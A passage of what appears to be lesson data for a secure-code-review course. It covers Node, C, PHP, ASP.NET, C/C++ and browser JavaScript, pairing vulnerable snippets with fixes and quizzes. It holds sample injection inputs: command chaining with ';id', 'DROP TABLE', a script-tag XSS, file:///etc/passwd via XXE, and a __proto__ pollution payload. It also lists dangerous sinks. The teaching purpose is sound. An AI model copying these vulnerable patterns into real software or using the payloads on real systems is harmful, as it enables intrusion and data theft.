      why:'Node supports <b>CommonJS</b> (<code class="inl">require</code>/<code class="inl">module.exports</code>) and <b>ES modules</b> (<code class="inl">import</code>/<code class="inl">export</code>). ESM is selected via <code class="inl">"type":"module"</code> or the <code class="inl">.mjs</code> extension.'}
   ]},
   {id:'nb4', name:'npm & package.json', xp:20, cards:[
     {t:'md',html:'<p><b>npm</b> is Node\'s package manager. A project\'s <code class="inl">package.json</code> lists its dependencies; <code class="inl">npm install</code> downloads them into <code class="inl">node_modules/</code> and pins exact versions in <code class="inl">package-lock.json</code>.</p><p>Security tie: <code class="inl">package-lock.json</code> is the dependency surface to audit, and <code class="inl">npm audit</code> flags known-vulnerable versions automatically.</p>'},
     {t:'read',lang:'js',label:'package.json',code:'{\n  "type": "module",\n  "dependencies": {\n    "express": "^4.19.2",\n    "lodash": "^4.17.21"\n  }\n}',note:'Run <code class="inl">npm install</code> to fetch these, <code class="inl">npm install pkg</code> to add one, and <code class="inl">npm audit</code> to check every dependency against the advisory database.'},
     {t:'quiz',q:'What is npm to a Node project?',
      opts:['A web browser','The package manager — it installs the libraries listed in package.json','The JS engine','A linter'],a:1,
      why:'<b>npm</b> installs packages from the npm registry into <code class="inl">node_modules/</code>, recording exact versions in <code class="inl">package-lock.json</code> — the file you audit with <code class="inl">npm audit</code>.'}
   ]},
   {id:'nb5', name:'Node deprecations & pitfalls', xp:25, cards:[
     {t:'md',html:'<p>Node-specific legacy to recognise:</p><p>• <code class="inl">new Buffer()</code> is <b>deprecated</b> — it could return <b>uninitialized memory</b> (an information leak). Use <code class="inl">Buffer.alloc()</code> (zero-filled) or <code class="inl">Buffer.from()</code>.<br>• The old <code class="inl">domain</code> module is deprecated.<br>• Legacy <code class="inl">url.parse()</code> has quirks the WHATWG <code class="inl">new URL()</code> avoids.</p>'},
     {t:'read',lang:'js',label:'Buffer: unsafe vs safe',code:'new Buffer(10);          // DEPRECATED: may expose leftover memory\nBuffer.alloc(10);        // safe: zero-filled\nBuffer.from(userInput);  // safe: explicit conversion',note:'<code class="inl">new Buffer(size)</code> handed back memory that was not zeroed, so it could leak whatever data was there before. Seeing it marks old Node code that needs updating.'},
     {t:'quiz',q:'Why was Node\'s <code class="inl">new Buffer()</code> constructor deprecated?',
      opts:['It was slow','It could return uninitialized memory, leaking data — replaced by Buffer.alloc()/from()','It only worked in browsers','It used too much disk'],a:1,
      why:'<code class="inl">new Buffer(size)</code> returned memory that was not zeroed, so it could expose leftover data. The safe replacements are <code class="inl">Buffer.alloc()</code> (zero-filled) and <code class="inl">Buffer.from()</code>.'}
   ]}
  ]
 },
 {
  id:'cbasics', name:'C Basics', tag:'BASICS', icon:'C', accent:'violet',
  sub:'The compiled systems language: how it compiles, pointers, memory, and dangerous functions.',
  meta:{released:'1972',current:'C23 (ISO/IEC 9899:2024)',eol:'K&R C / C89 (legacy)',note:'Created by Dennis Ritchie at Bell Labs. A compiled systems language behind operating systems, embedded devices and much of the software stack.',link:'https://en.cppreference.com/w/c'},
  lessons:[
   {id:'cb1', name:'What C is & how it compiles', xp:15, cards:[
     {t:'md',html:'<p><b>C</b> is a <b>compiled</b>, statically typed systems language — the opposite of PHP/Python/JS. It is not interpreted: a <b>compiler</b> translates your <code class="inl">.c</code> source into a machine-code <b>executable</b> that the CPU runs directly.</p><p>That is why C is fast and close to the hardware — and why its bugs (memory corruption) execute against real memory. The build has stages: <b>preprocess → compile → link</b> → executable.</p>'},
     {t:'read',lang:'cpp',label:'hello.c',code:'#include <stdio.h>\n\nint main(void) {\n    printf("Hello, C!\\n");\n    return 0;\n}',note:'Every C program has a <code class="inl">main()</code>. But this file cannot run yet — C is compiled, so it must first be turned into an executable.'},
     {t:'read',lang:'bash',label:'compile & run',code:'$ gcc hello.c -o hello   # preprocess -> compile -> link\n$ ./hello                # run the executable\nHello, C!',note:'<code class="inl">gcc</code> (or <code class="inl">clang</code>) turns <code class="inl">hello.c</code> into a native binary. There is no interpreter at run time — the CPU runs the compiled machine code directly.'},
     {t:'quiz',q:'How is a C program run, compared with PHP or Python?',
      opts:['It is interpreted line by line','It is compiled by gcc/clang into a machine-code executable that runs directly','It runs in a browser','It needs a virtual machine'],a:1,
      why:'C is <b>compiled</b>: a compiler produces a native executable. That is why it is fast and low-level — and why memory bugs execute against real memory.'}
   ]},
   {id:'cb2', name:'The compile toolchain', xp:20, cards:[
     {t:'md',html:'<p>Compiling is really several steps: the <b>preprocessor</b> expands <code class="inl">#include</code> and <code class="inl">#define</code>, the <b>compiler</b> produces object files, and the <b>linker</b> combines them (plus libraries) into one executable.</p><p>Useful flags: <code class="inl">-Wall</code> (warnings), <code class="inl">-g</code> (debug info), <code class="inl">-O2</code> (optimize). Larger projects automate builds with <b>make</b> and a <code class="inl">Makefile</code>.</p>'},
     {t:'read',lang:'bash',label:'toolchain',code:'$ gcc -Wall -g main.c utils.c -o app   # warnings + debug info\n$ clang -O2 main.c -o app              # optimized build\n\n$ make            # build via a Makefile\n$ make clean      # remove build artifacts',note:'<code class="inl">-Wall</code> surfaces bugs early, <code class="inl">-g</code> adds debug symbols, <code class="inl">-O2</code> optimizes. <code class="inl">#include</code> pulls in header declarations; the linker resolves them against the real library code.'},
     {t:'quiz',q:'What does the linker do in the C toolchain?',
      opts:['Runs the program','Combines compiled object files and libraries into a single executable','Formats the source code','Downloads packages'],a:1,
      why:'The <b>linker</b> stitches object files together with the libraries they call, producing the final executable. The preprocessor and compiler run before it.'}
   ]},
   {id:'cb3', name:'Variables, types & pointers', xp:20, cards:[
     {t:'md',html:'<p>C requires you to declare a <b>type</b>: <code class="inl">int</code>, <code class="inl">char</code>, <code class="inl">float</code>, <code class="inl">double</code>, plus arrays. Its signature feature is the <b>pointer</b> — a variable that holds a <b>memory address</b>.</p><p><code class="inl">&x</code> means "address of x"; <code class="inl">*p</code> means "the value stored at p". Pointers are powerful and the root of most C vulnerabilities.</p>'},
     {t:'read',lang:'cpp',label:'pointers.c',code:'int   x = 42;         // an integer\nint  *p = &x;         // p holds the ADDRESS of x\nprintf("%d\\n", *p);   // *p = the value AT that address = 42\n\nchar name[16];        // a fixed 16-byte buffer',note:'A pointer is just an address. Reading or writing through a wrong or unchecked pointer is exactly how buffer overflows and use-after-free happen — the C/C++ security track drills these.'},
     {t:'quiz',q:'In C, what is a pointer?',
      opts:['A kind of loop','A variable that holds a memory address','A comment','A function name'],a:1,
      why:'A <b>pointer</b> stores a memory address. <code class="inl">&x</code> takes an address; <code class="inl">*p</code> follows one. Mishandled pointers cause C\'s memory-corruption bugs.'}
   ]},
   {id:'cb4', name:'Control flow & functions', xp:20, cards:[
     {t:'md',html:'<p>C has the usual <code class="inl">if/else</code>, <code class="inl">for</code>, <code class="inl">while</code>, and <code class="inl">switch</code>, with blocks in <code class="inl">{ }</code>. Functions declare a return type and typed parameters.</p>'},
     {t:'read',lang:'cpp',label:'flow.c',code:'int add(int a, int b) {   // returns an int\n    return a + b;\n}\n\nint main(void) {\n    for (int i = 0; i < 3; i++) {\n        if (i % 2 == 0)\n            printf("%d is even\\n", i);\n    }\n    return add(2, 3);\n}',note:'The same control-flow shapes as other languages, but with explicit types. You do not need to write C to audit it — reading it is the skill.'},
     {t:'quiz',q:'What must a C function declare that a Python function does not?',
      opts:['Its colour','The types of its parameters and its return value','A password','A URL'],a:1,
      why:'C is statically typed: every function states its return type and the type of each parameter. The compiler checks these before the program runs.'}
   ]},
   {id:'cb5', name:'The standard library & memory', xp:25, cards:[
     {t:'md',html:'<p>C\'s standard library gives you I/O (<code class="inl">printf</code>/<code class="inl">scanf</code>, <code class="inl">stdio.h</code>), strings (<code class="inl">string.h</code>: <code class="inl">strlen</code>, <code class="inl">strcpy</code>), and <b>manual memory</b> (<code class="inl">stdlib.h</code>: <code class="inl">malloc</code>/<code class="inl">free</code>).</p><p>There is <b>no garbage collector</b> — you allocate and free memory yourself. Forgetting to free (leak), using after free, or writing past the end are all vulnerabilities.</p>'},
     {t:'read',lang:'cpp',label:'memory.c',code:'#include <stdlib.h>\n#include <string.h>\n\nchar *buf = malloc(64);   // ask the OS for 64 bytes\nstrcpy(buf, "hello");     // copy a string in\n// ... use buf ...\nfree(buf);                // give the memory back',note:'Manual memory is C\'s power and its peril: forgetting <code class="inl">free</code> leaks; using <code class="inl">buf</code> after <code class="inl">free</code> is use-after-free; copying more than 64 bytes overflows it.'},
     {t:'quiz',q:'How is memory managed in C?',
      opts:['Automatically by a garbage collector','Manually with malloc/free — the programmer owns it','By the browser','It is not needed'],a:1,
      why:'C has <b>no garbage collector</b>. You call <code class="inl">malloc</code> to allocate and <code class="inl">free</code> to release. Mismanaging that is the source of leaks and use-after-free bugs.'}
   ]},
   {id:'cb6', name:'Deprecated & dangerous functions', xp:25, cards:[
     {t:'md',html:'<p>Some C standard functions are so unsafe they were removed or are universally flagged. The worst is <code class="inl">gets()</code> — it reads input with <b>no length limit</b> and was <b>removed from the C standard in C11</b>. The unsafe string family (<code class="inl">strcpy</code>, <code class="inl">strcat</code>, <code class="inl">sprintf</code>) has no bounds checking.</p>'},
     {t:'read',lang:'cpp',label:'dangerous vs bounded',code:'gets(buf);                  // REMOVED in C11 — never bounds-checked\nstrcpy(buf, input);         // no length limit -> overflow\nsprintf(buf, "%s", input);  // same problem\n\nsnprintf(buf, sizeof buf, "%s", input);  // bounded: safer',note:'<code class="inl">gets()</code> is gone from the language for good reason. <code class="inl">strcpy</code>/<code class="inl">sprintf</code> on untrusted input are classic overflow findings — prefer the sized versions.'},
     {t:'quiz',q:'Why was C\'s <code class="inl">gets()</code> function removed from the language?',
      opts:['It was slow','It had no way to limit input length, so it always risked a buffer overflow','It only worked on Windows','It was too new'],a:1,
      why:'<code class="inl">gets()</code> read input with <b>no bound</b>, so any input longer than the buffer overflowed it. It was removed in C11; use <code class="inl">fgets</code> with a size instead.'}
   ]}
  ]
 },
 {
  id:'php', name:'PHP', tag:'WEB', icon:'php', accent:'violet',
  sub:'The classic web-app language. Powers huge legacy attack surface.',
  lessons:[
   {id:'p1', name:'Reading PHP superglobals', xp:25, cards:[
     {t:'md',html:'<p>PHP hands attacker input through <b>superglobals</b> — arrays available everywhere. Memorize these; each is a source:</p><p>• <code class="inl">$_GET</code> — URL query params<br>• <code class="inl">$_POST</code> — form body<br>• <code class="inl">$_REQUEST</code> — GET + POST + cookies (sloppy, dangerous)<br>• <code class="inl">$_COOKIE</code>, <code class="inl">$_SERVER</code> — headers, cookies<br>• <code class="inl">$_FILES</code> — uploads</p><p>Any data touching these is <b>untrusted</b> until proven otherwise.</p>'},
     {t:'read',lang:'php',code:'$page = $_GET["page"];\ninclude($page . ".php");   // whatever is in ?page= gets included'},
     {t:'quiz',q:'Why is <code class="inl">$_REQUEST</code> considered more dangerous to trust than <code class="inl">$_POST</code>?',
      opts:['It is slower','It merges GET, POST and cookies, so input can arrive from unexpected places','It is encrypted','It only works on admin pages'],a:1,
      why:'<b>$_REQUEST</b> blurs the source. A value you assumed came from a POST form could be supplied via the URL, defeating assumptions and some weak defenses.'}
   ]},
   {id:'p2', name:'SQL injection in PHP', xp:35, cards:[
     {t:'md',html:'<p><b>SQL injection</b>: user input is glued into a database query, so an attacker can change the query\'s meaning. The tell is <b>string concatenation into a query</b> with no parameters.</p>'},
     {t:'read',lang:'php',label:'Vulnerable',code:'$id = $_GET["id"];\n$sql = "SELECT * FROM users WHERE id = " . $id;\n$result = mysqli_query($conn, $sql);',note:'Input <code class="inl">$id</code> is concatenated directly into SQL. Sending <code class="inl">?id=1 OR 1=1</code> returns every row; <code class="inl">?id=1; DROP TABLE users</code> can be catastrophic.'},
     {t:'read',lang:'php',label:'Safe — parameterized',code:'$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");\n$stmt->bind_param("i", $_GET["id"]);   // input stays DATA, never code\n$stmt->execute();',note:'The <code class="inl">?</code> placeholder keeps input as a value, so it can never change the query structure. This is the fix you are looking for.'},
     {t:'quiz',q:'Which single detail most reliably signals possible SQL injection?',
      opts:['The word SELECT appears','User input is concatenated into the query string instead of bound as a parameter','The query touches a users table','mysqli is used at all'],a:1,
      why:'Parameterized queries (prepared statements) separate code from data. <b>Concatenating input into the SQL text</b> is the root cause — the function or table name is secondary.'}
   ]},
   {id:'p3', name:'Command injection & RCE', xp:35, cards:[
     {t:'md',html:'<p>Some functions hand a string to the operating system shell. If user input reaches them, an attacker can run OS commands (Remote Code Execution). PHP\'s dangerous shell sinks:</p><p><code class="inl">system()</code>, <code class="inl">exec()</code>, <code class="inl">shell_exec()</code>, <code class="inl">passthru()</code>, <code class="inl">popen()</code>, and backticks <code class="inl">`...`</code>.</p>'},
     {t:'read',lang:'php',label:'Vulnerable',code:'$host = $_GET["host"];\nsystem("ping -c 1 " . $host);   // ?host=8.8.8.8;id runs `id` too',note:'Shell metacharacters like <code class="inl">;</code> <code class="inl">|</code> <code class="inl">&amp;&amp;</code> <code class="inl">$( )</code> let the attacker chain their own commands after the intended one.'},
     {t:'quiz',q:'Input reaches <code class="inl">shell_exec($cmd)</code>. Which payload character is the classic way to append an extra command?',
      opts:['A space','A semicolon ; (or | and &amp;&amp;)','A period .','A capital letter'],a:1,
      why:'Shell metacharacters — <b>; | &amp;&amp; $( )</b> — terminate or chain commands. If input containing them reaches a shell sink unescaped, that is command injection.'}
   ]},
   {id:'p4', name:'XSS & dangerous output', xp:30, cards:[
     {t:'md',html:'<p><b>Cross-site scripting (XSS)</b>: user input is written into an HTML page without encoding, so the browser runs it as script. The sink is any <code class="inl">echo</code>/<code class="inl">print</code> of untrusted data into HTML.</p>'},
     {t:'read',lang:'php',label:'Vulnerable',code:'$q = $_GET["q"];\necho "You searched for: " . $q;   // ?q=<\script>steal()<\/script>',note:'The fix is contextual output encoding — <code class="inl">htmlspecialchars($q)</code> turns <code class="inl">&lt;</code> into <code class="inl">&amp;lt;</code> so the browser shows it instead of running it.'},
     {t:'quiz',q:'What makes reflected XSS possible in the code above?',
      opts:['Using $_GET at all','Echoing untrusted input into HTML without encoding it','The word "searched"','Using double quotes'],a:1,
      why:'XSS is an <b>output-encoding</b> failure. Input is only dangerous when it reaches an HTML sink un-encoded; <code class="inl">htmlspecialchars()</code> neutralizes it.'}
   ]},
   {id:'p5', name:'Type juggling & loose comparisons', xp:35, cards:[
     {t:'md',html:'<p>PHP has two equality operators: <code class="inl">==</code> (loose — converts types first) and <code class="inl">===</code> (strict — type and value must match). Loose <code class="inl">==</code> causes surprising, security-relevant behaviour called <b>type juggling</b>.</p><p>Classic traps: two strings that look like numbers in scientific notation (<code class="inl">"0e123"</code>) compare <b>equal</b> to each other and to <code class="inl">0</code>; before PHP 8, <code class="inl">"abc" == 0</code> was true; and passing an array where a string is expected can break functions like <code class="inl">strcmp</code>.</p>'},
     {t:'read',lang:'php',label:'Vulnerable comparison',code:'$hash = md5($_POST["password"]);\nif ($hash == $stored_hash) {   // loose == !\n    login();\n}\n// "magic hashes" like 240610708 md5 to 0e462... which == 0',note:'If two password hashes both look like <code class="inl">0e[digits]</code>, loose <code class="inl">==</code> treats them as the number 0 and they match. Always use <code class="inl">===</code> or <code class="inl">hash_equals()</code> for hash/token comparison.'},
     {t:'quiz',q:'Why can <code class="inl">if ($a == $b)</code> be dangerous when comparing password hashes?',
      opts:['== is slower than ===','Loose == juggles types, so two different "0e..." strings both become 0 and match','== does not work on strings','It always returns true'],a:1,
      why:'Loose <code class="inl">==</code> converts operands before comparing. Two distinct "magic hash" strings both coerce to <code class="inl">0</code> and compare equal. Use <b>===</b> (strict) or <code class="inl">hash_equals()</code>.'}
   ]}
  ]
 },
 {
  id:'dotnet', name:'ASP.NET / C#', tag:'WEB', icon:'C#', accent:'violet',
  sub:'Enterprise web stack. Strong typing, but plenty of footguns.',
  lessons:[
   {id:'d1', name:'Reading C# & request input', xp:25, cards:[
     {t:'md',html:'<p>C# is <b>statically typed</b>: variables declare a type (<code class="inl">string</code>, <code class="inl">int</code>, <code class="inl">var</code>). In ASP.NET, attacker input arrives through:</p><p>• <code class="inl">Request.Query["x"]</code> / <code class="inl">Request.Form["x"]</code><br>• Controller action <b>parameters</b> (model binding)<br>• <code class="inl">Request.Cookies</code>, <code class="inl">Request.Headers</code></p><p>Model binding is sneaky: a method argument can be silently populated from the request.</p>'},
     {t:'read',lang:'csharp',code:'public IActionResult Search(string term) {   // term is bound from the request\n    var results = _db.Find(term);\n    return View(results);\n}'},
     {t:'quiz',q:'In an ASP.NET controller, where does the value of a method parameter like <code class="inl">string term</code> typically come from?',
      opts:['It is always empty','Model binding fills it automatically from the query string, form, or route','Only from a database','From another C# file'],a:1,
      why:'ASP.NET <b>model binding</b> auto-populates action parameters from request data. That makes plain-looking arguments an untrusted source you must trace.'}
   ]},
   {id:'d2', name:'SQL injection in ADO.NET', xp:35, cards:[
     {t:'md',html:'<p>Same root cause as PHP: string-built SQL. In C# watch for <code class="inl">SqlCommand</code> built with <code class="inl">+</code> or string interpolation (<code class="inl">$"...{x}..."</code>).</p>'},
     {t:'read',lang:'csharp',label:'Vulnerable',code:'var sql = "SELECT * FROM Users WHERE Name = \'" + name + "\'";\nvar cmd = new SqlCommand(sql, conn);',note:'String interpolation <code class="inl">$"...WHERE Name=\'{name}\'"</code> is the same bug in disguise — the input still becomes part of the SQL text.'},
     {t:'read',lang:'csharp',label:'Safe — parameters',code:'var cmd = new SqlCommand("SELECT * FROM Users WHERE Name = @n", conn);\ncmd.Parameters.AddWithValue("@n", name);   // input bound as data'},
     {t:'quiz',q:'You see <code class="inl">$"SELECT * FROM T WHERE x = {input}"</code> passed to SqlCommand. Verdict?',
      opts:['Safe, because C# is type-checked','Vulnerable — interpolation builds the query from raw input, same as concatenation','Safe, because it uses SqlCommand','Only vulnerable if input is a string'],a:1,
      why:'String interpolation and concatenation both weld input into the query. Only <b>parameters</b> (<code class="inl">@n</code> + <code class="inl">AddWithValue</code>) or an ORM with parameterization keep input as data.'}
   ]},
   {id:'d3', name:'Insecure deserialization', xp:35, cards:[
     {t:'md',html:'<p>Deserialization rebuilds objects from bytes/text. If the data is attacker-controlled, some deserializers can be tricked into constructing dangerous objects → RCE. In .NET the historically dangerous names are <code class="inl">BinaryFormatter</code>, <code class="inl">LosFormatter</code>, <code class="inl">SoapFormatter</code>, and <code class="inl">TypeNameHandling.All</code> in Json.NET.</p>'},
     {t:'read',lang:'csharp',label:'Dangerous',code:'var fmt = new BinaryFormatter();\nvar obj = fmt.Deserialize(userStream);   // untrusted bytes -> objects',note:'<code class="inl">BinaryFormatter</code> is deprecated by Microsoft precisely because it is unsafe on untrusted input. Its mere presence on attacker data is a finding.'},
     {t:'quiz',q:'Which is the strongest single red flag for an insecure deserialization bug in .NET?',
      opts:['Any use of JSON','BinaryFormatter.Deserialize (or TypeNameHandling.All) applied to attacker-controlled data','A class with many fields','Using async/await'],a:1,
      why:'<b>BinaryFormatter</b> and <code class="inl">TypeNameHandling.All</code> allow type information in the payload to control object creation. On untrusted input that is a well-known RCE path.'}
   ]},
   {id:'d4', name:'XML external entities (XXE)', xp:35, cards:[
     {t:'md',html:'<p>XML parsers can be told to resolve <b>external entities</b> — references that pull in other files or URLs. If an app parses attacker-supplied XML with entity resolution enabled, the attacker can read local files (<code class="inl">file:///etc/passwd</code>) or make the server fetch internal URLs (SSRF). This is <b>XXE</b>.</p><p>In .NET the danger is an <code class="inl">XmlDocument</code>/<code class="inl">XmlReader</code> with a non-null <code class="inl">XmlResolver</code> or <code class="inl">DtdProcessing.Parse</code> on untrusted XML.</p>'},
     {t:'read',lang:'csharp',label:'Vulnerable vs safe',code:'// vulnerable: external entities are resolved\nvar doc = new XmlDocument();\ndoc.XmlResolver = new XmlUrlResolver();   // resolves external entities\ndoc.LoadXml(userXml);\n\n// safe: refuse DTDs and disable the resolver\nvar settings = new XmlReaderSettings {\n    DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null };',note:'Modern .NET defaults are safer, but legacy code that sets an <code class="inl">XmlResolver</code> or <code class="inl">DtdProcessing.Parse</code> on untrusted XML is vulnerable. Disable DTDs and set <code class="inl">XmlResolver = null</code>.'},
     {t:'quiz',q:'What does an XXE attack abuse?',
      opts:['A SQL query','An XML parser that resolves external entities, letting an attacker read files or trigger SSRF','A CSS import','A missing password'],a:1,
      why:'<b>XXE</b> abuses XML external-entity resolution to read local files or reach internal systems. Disable DTD processing and null the resolver when parsing untrusted XML.'}
   ]},
   {id:'d5', name:'Mass assignment / overposting', xp:35, cards:[
     {t:'md',html:'<p>ASP.NET model binding auto-fills an object\'s properties from request fields. If a controller binds a request straight onto a <b>domain model</b>, an attacker can set properties you never exposed — like <code class="inl">IsAdmin</code> — just by adding them to the request. This is <b>mass assignment</b> (a.k.a. overposting).</p>'},
     {t:'read',lang:'csharp',label:'Vulnerable vs safe',code:'// vulnerable: binds the whole User entity, including IsAdmin\npublic IActionResult Update(User user) {\n    _db.Update(user);   // attacker posts IsAdmin=true\n    return Ok();\n}\n\n// safe: bind a DTO exposing only the fields you allow\npublic IActionResult Update(UpdateProfileDto dto) { /* map dto -> user */ }',note:'Bind to a view model / DTO containing only editable fields, or use an explicit <code class="inl">[Bind(nameof(...))]</code> allowlist. Never bind untrusted input onto an entity with sensitive properties.'},
     {t:'quiz',q:'How does a mass-assignment (overposting) bug let a user become admin?',
      opts:['By guessing the password','Model binding sets a sensitive property (e.g. IsAdmin) from an extra request field the developer never intended','By SQL injection','By XSS'],a:1,
      why:'Binding a request directly onto a model lets the attacker supply extra fields. Bind to a DTO with only allowed properties, or use a <code class="inl">[Bind]</code> allowlist.'}
   ]}
  ]
 },
 {
  id:'cpp', name:'C / C++', tag:'NATIVE', icon:'C++', accent:'amber',
  sub:'Memory is manual here. Whole vuln classes that web devs never see.',
  lessons:[
   {id:'c1', name:'Pointers & memory, gently', xp:25, cards:[
     {t:'md',html:'<p>C/C++ let you touch memory directly. A <b>pointer</b> holds an address; a <b>buffer</b> is a fixed-size block (often <code class="inl">char buf[64]</code>). The language will <b>not</b> stop you writing past the end of a buffer — that is the source of memory-corruption bugs.</p><p>You do not need to write C to audit it. You need to spot <b>fixed-size buffers</b> meeting <b>unbounded copies</b>.</p>'},
     {t:'read',lang:'cpp',code:'char buf[64];              // room for 64 bytes\nstrcpy(buf, user_input);   // copies until a null byte — no size limit!',note:'If <code class="inl">user_input</code> is longer than 64 bytes, <code class="inl">strcpy</code> writes past <code class="inl">buf</code> — a <b>buffer overflow</b>, corrupting adjacent memory.'},
     {t:'quiz',q:'What is the fundamental danger of <code class="inl">char buf[64]</code> combined with an unbounded copy?',
      opts:['It uses too much memory','Writing more than 64 bytes overflows into adjacent memory','64 is an odd size','Pointers are slow'],a:1,
      why:'A fixed buffer + a copy with no length limit means input longer than the buffer <b>corrupts neighbouring memory</b>, which can crash the program or hijack execution.'}
   ]},
   {id:'c2', name:'Dangerous C functions', xp:35, cards:[
     {t:'md',html:'<p>Some C functions are dangerous because they do not take a size limit. Memorize this hit-list — seeing them on untrusted data is an instant finding:</p><p><code class="inl">strcpy</code>, <code class="inl">strcat</code>, <code class="inl">sprintf</code>, <code class="inl">gets</code>, <code class="inl">scanf("%s")</code>.</p><p>Their bounded cousins are safer: <code class="inl">strncpy</code>, <code class="inl">snprintf</code>, <code class="inl">fgets</code> — but even these need the length used correctly.</p>'},
     {t:'read',lang:'cpp',label:'Vulnerable',code:'char name[32];\nprintf("Enter name: ");\ngets(name);   // gets() has NO bound — removed from the C standard',note:'<code class="inl">gets()</code> is so unsafe it was removed from C11. If you ever see it, it is a finding, full stop.'},
     {t:'quiz',q:'Why are <code class="inl">strcpy</code> and <code class="inl">gets</code> flagged while <code class="inl">snprintf</code> is preferred?',
      opts:['They are older','They perform no bounds checking, so oversized input overflows the buffer','They only work on Linux','They are slower'],a:1,
      why:'The unsafe functions copy until a terminator with <b>no maximum length</b>. <code class="inl">snprintf</code>/<code class="inl">strncpy</code> take a size argument, capping the write to the buffer.'}
   ]},
   {id:'c3', name:'Integer overflow & use-after-free', xp:35, cards:[
     {t:'md',html:'<p>Two more native-code classics:</p><p><b>Integer overflow</b> — a number wraps past its max (e.g. a <code class="inl">uint16_t</code> over 65535 rolls to 0). If it feeds a size calculation, you can allocate too little and overflow.</p><p><b>Use-after-free</b> — memory is <code class="inl">free()</code>d, then used again. The freed block may be reused by an attacker to control what that pointer now sees.</p>'},
     {t:'read',lang:'cpp',label:'Use-after-free',code:'char* p = (char*)malloc(64);\nfree(p);            // memory released\nstrcpy(p, data);    // BUG: p is dangling, used after free'},
     {t:'quiz',q:'A size is computed as <code class="inl">len * count</code> in an <code class="inl">int</code>, then used for <code class="inl">malloc</code>. What class of bug should you check for?',
      opts:['XSS','Integer overflow — the multiplication can wrap to a tiny value, under-allocating','SQL injection','CSRF'],a:1,
      why:'If <code class="inl">len * count</code> overflows the integer type, <code class="inl">malloc</code> gets a small number while the code then writes the full amount — a heap overflow via <b>integer overflow</b>.'}
   ]},
   {id:'c4', name:'Format string vulnerabilities', xp:35, cards:[
     {t:'md',html:'<p>Functions in the <code class="inl">printf</code> family read a <b>format string</b> with placeholders (<code class="inl">%s</code>, <code class="inl">%x</code>, <code class="inl">%n</code>). If <b>user input becomes the format string</b> itself, the attacker controls those placeholders — leaking memory with <code class="inl">%x</code>/<code class="inl">%s</code>, or even writing to memory with <code class="inl">%n</code>.</p>'},
     {t:'read',lang:'cpp',label:'Vulnerable vs safe',code:'printf(user_input);          // BUG: input IS the format string\nprintf("%s", user_input);    // safe: input is just data',note:'If <code class="inl">user_input</code> is <code class="inl">"%x %x %x"</code> the first line dumps stack memory; <code class="inl">%n</code> can write to it. The fix is to always pass a fixed format string and put user data in an argument.'},
     {t:'quiz',q:'What makes <code class="inl">printf(user_input)</code> a vulnerability?',
      opts:['printf is deprecated','User input is used as the format string, so %x/%n let the attacker read or write memory','It prints too slowly','It needs a trailing newline'],a:1,
      why:'When attacker input is the <b>format string</b>, placeholders like <code class="inl">%x</code> (read the stack) and <code class="inl">%n</code> (write) execute. Always use a literal format: <code class="inl">printf("%s", input)</code>.'}
   ]}
  ]
 },
 {
  id:'web', name:'JS & Web Logic', tag:'WEB', icon:'JS', accent:'violet',
  sub:'Client and server JavaScript, plus the logic flaws scanners miss.',
  lessons:[
   {id:'j1', name:'DOM XSS & dangerous sinks', xp:30, cards:[
     {t:'md',html:'<p>In browser JS, some properties/functions treat strings as HTML or code. Feed them untrusted data and you get DOM-based XSS. Dangerous sinks:</p><p><code class="inl">innerHTML</code>, <code class="inl">outerHTML</code>, <code class="inl">document.write</code>, <code class="inl">eval</code>, <code class="inl">setTimeout("string")</code>, <code class="inl">location</code>. Common sources: <code class="inl">location.hash</code>, <code class="inl">location.search</code>, <code class="inl">document.referrer</code>.</p>'},
     {t:'read',lang:'js',code:'const q = location.hash.slice(1);       // source: URL fragment\ndocument.getElementById("out").innerHTML = q;  // sink: parsed as HTML',note:'<code class="inl">textContent</code> would render it as plain text safely. <code class="inl">innerHTML</code> parses tags and event handlers — that is the bug.'},
     {t:'quiz',q:'Which assignment is the XSS sink here?',
      opts:['location.hash.slice(1)','.innerHTML = q','getElementById("out")','const q'],a:1,
      why:'<b>innerHTML</b> parses its string as HTML. Assigning untrusted data to it lets injected markup and scripts run. <code class="inl">textContent</code> is the safe sibling.'}
   ]},
   {id:'j2', name:'eval, prototype & Node sinks', xp:35, cards:[
     {t:'md',html:'<p>Server-side (Node.js) JavaScript adds OS-level sinks: <code class="inl">child_process.exec()</code>, <code class="inl">eval()</code>, <code class="inl">Function()</code>, and unsafe <code class="inl">fs</code> paths. And <code class="inl">exec</code> (unlike <code class="inl">execFile</code>) runs a full shell.</p>'},
     {t:'read',lang:'js',label:'Vulnerable',code:'const { exec } = require("child_process");\napp.get("/dns", (req,res) => {\n  exec("nslookup " + req.query.domain);   // shell injection\n});',note:'<code class="inl">exec</code> spawns <code class="inl">/bin/sh -c</code>, so shell metacharacters in <code class="inl">req.query.domain</code> run commands. <code class="inl">execFile("nslookup",[domain])</code> avoids the shell.'},
     {t:'quiz',q:'Why is <code class="inl">child_process.exec(userInput)</code> riskier than <code class="inl">execFile("cmd",[userInput])</code>?',
      opts:['exec is deprecated','exec runs input through a shell, so metacharacters chain commands; execFile passes args directly','execFile is faster','No difference'],a:1,
      why:'<b>exec</b> interprets the string in a shell, exposing <code class="inl">; | &amp;&amp; $()</code>. <b>execFile</b>/<b>spawn</b> pass arguments as a list to the binary, with no shell to abuse.'}
   ]},
   {id:'j3', name:'Prototype pollution', xp:35, cards:[
     {t:'md',html:'<p>In JavaScript every object inherits from <code class="inl">Object.prototype</code>. If code copies attacker-controlled keys into an object — a deep <b>merge</b> of JSON, or <code class="inl">obj[key] = value</code> with <code class="inl">key</code> from input — an attacker can set <code class="inl">__proto__</code> (or <code class="inl">constructor.prototype</code>) and change properties on <b>every</b> object at once. Impact ranges from logic bypass and denial of service to, in some stacks, RCE.</p>'},
     {t:'read',lang:'js',label:'Vulnerable deep merge',code:'function merge(target, src) {\n  for (const k in src) {\n    if (typeof src[k] === "object") merge(target[k] = target[k] || {}, src[k]);\n    else target[k] = src[k];        // no guard when k === "__proto__"\n  }\n}\nmerge({}, JSON.parse(req.body));     // {"__proto__":{"isAdmin":true}} pollutes all objects',note:'The merge never rejects <code class="inl">__proto__</code>, so attacker JSON writes onto the shared prototype. Guard the keys (skip <code class="inl">__proto__</code>, <code class="inl">constructor</code>, <code class="inl">prototype</code>) or use a null-prototype object / Map.'},
     {t:'quiz',q:'What makes a recursive object <code class="inl">merge()</code> vulnerable to prototype pollution?',
      opts:['It is recursive','It copies a key like <code class="inl">__proto__</code> from attacker input onto objects, changing the shared prototype','It uses JSON','It runs on Node'],a:1,
